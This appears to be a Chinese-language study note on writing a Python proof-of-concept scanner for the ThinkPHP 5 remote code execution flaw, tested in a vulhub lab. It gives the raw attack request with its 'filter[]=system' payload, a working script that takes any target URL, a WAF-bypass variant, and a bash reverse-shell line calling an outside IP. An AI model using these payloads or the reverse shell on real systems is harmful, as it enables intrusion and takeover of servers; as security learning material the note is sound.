记录入门安全开发的学习笔记,供日后回顾。
poc和exp的区别
poc:漏洞验证
exp:漏洞利用
它们两个的本质区别是使用的 payload 不同 , 比如一个远程命令执行的漏洞 , 当payload是id/whoami
这样的命令时 , 整个脚本或工具就是poc , 因为它只是执行简单的系统命令来判断目标是否存在漏洞。
如果payload是一串反弹shell的系统命令,比如 /bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1
,整个工具就是一个exp。
编写thinkphp5 rce的poc
首先要搭建vulhub环境,这里我用的ubuntu。搭建流程可以自行百度,我只展示我在搭建过程中遇到的问题及解决方法。
如果docker安装较慢,可以参考这篇:在ubuntu上安装cfw并使用
搭建好环境后,进入相应目录,并启动环境:
cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
如果在拉取镜像时出现:
需使用镜像加速器,参考:Docker安装完成运行hello-world镜像失败
重启后如果出现这种情况,运行 docker compose up -d
即可
在浏览器访问
OK,我们开始编写poc
post传参,数据包如下,访问网站的/index.php?s=captcha
目录,system
执行id
命令
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
在github上下载一个bp的插件(burp-requests releases:Release v0.2.4 · silentsignal/burp-requests · GitHub),用于复制请求
将请求粘贴到pycharm中,这里我去除了burp0_
import requests
url = "http://192.168.41.139:8080/index.php?s=captcha"
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0", "Origin": "http://192.168.41.139:8080", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://192.168.41.139:8080/index.php?s=index/\\think\\app/invokefunction&function=system(phpinfo)&vars[0]=100", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "id"}
requests.post(url, headers=headers, data=data)
将其放入main()函数。
为了测试网站是否存在该漏洞,我们需要输入被测网站的 URL,因此需要为 main()
函数设置一个参数。
import requests
def main(url):
url = f"{url}/index.php?s=captcha"
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0", "Origin": "http://192.168.41.139:8080", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://192.168.41.139:8080/index.php?s=index/\\think\\app/invokefunction&function=system(phpinfo)&vars[0]=100", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
data = {"_method": "__construct", "filter[]": "phpinfo", "method": "get", "server[REQUEST_METHOD]": "-1"}
requests.post(url, headers=headers, data=data)
然后写漏洞判断条件:如果返回状态码为200,且内容中存在uid=
,则说明存在漏洞
if response.status_code == 200 and "uid=" in response.text:
print(f"[+]{url}存在远程命令执行漏洞")
else:
print(f"[-]{url}不存在远程命令执行漏洞")
当然,实际测试时,网站不一定能够正常访问,我们这里加一个try……except
和一些参数,如有异常,直接退出
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5, allow_redirects=False)
except Exception as e:
print(f"[-]{url} 请求失败")
print(e)
sys.exit(1)
这样main函数就差不多了
def main(url):
full_url = f"{url}/index.php?s=captcha"
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0",
"Origin": "http://192.168.41.139:8080", "Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://192.168.41.139:8080/index.php?s=captcha",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "id"}
try:
response = requests.post(full_url, headers=headers, data=data, verify=False,
timeout=5, allow_redirects=False)
# 2.判断是否存在漏洞
if response.status_code == 200 and "uid=" in response.text:
print(f"[+]{url}存在远程命令执行漏洞")
else:
print(f"[-]{url}不存在远程命令执行漏洞")
except Exception as e:
print(f"[-]{url} 请求失败")
print(e)
sys.exit(1)
继续往下,使用argparse模块接收用户输入的参数,并加上banner信息
if __name__ == '__main__':
banner = """
,--------.,--. ,--. ,--. ,------. ,--. ,-----.
'--. .--'| ,---. `--',--,--, | |,-. | .--. '| ,---. ,---. | .--' ,--.--. ,---. ,---.
| | | .-. |,--.| \| / | '--' || .-. || .-. |'--. `\ | .--'| .--'| .-. :
| | | | | || || || || \ \ | | --' | | | || '-' '.--' / | | \ `--.\ --.
`--' `--' `--'`--'`--''--'`--'`--'`--' `--' `--'| |-' `----' `--' `---' `----'
`--'
version: 1.0
"""
print(banner)
# 使用argparse去解析命令行传来的参数
parser = argparse.ArgumentParser(description="thinkphp5 rce exp",
formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent(
'''example:python3 tp5exp.py -u http://192.168.1.108'''))
# 添加参数
parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")
# 把参数的值解析到对象中
args = parser.parse_args()
main(args.url)
报错:
由于代理问题导致请求失败,改一下代码,禁用代理
proxies = {
"http": None,
"https": None,
}
response = requests.post(full_url, headers=headers, data=data, verify=False,
timeout=5, allow_redirects=False, proxies=proxies)
上述代码基本实现了漏洞检测功能。然而,如果目标网站使用了 WAF(Web 应用防火墙),system
命令可能会被拦截。我们可以通过修改 data
数据为 data = {"_method": "__construct", "filter[]": "phpinfo", "method": "get", "server[REQUEST_METHOD]": "-1"}
来绕过 WAF 的检测,并且调整判断条件,以使漏洞检测更加准确。
如有错漏,欢迎指正。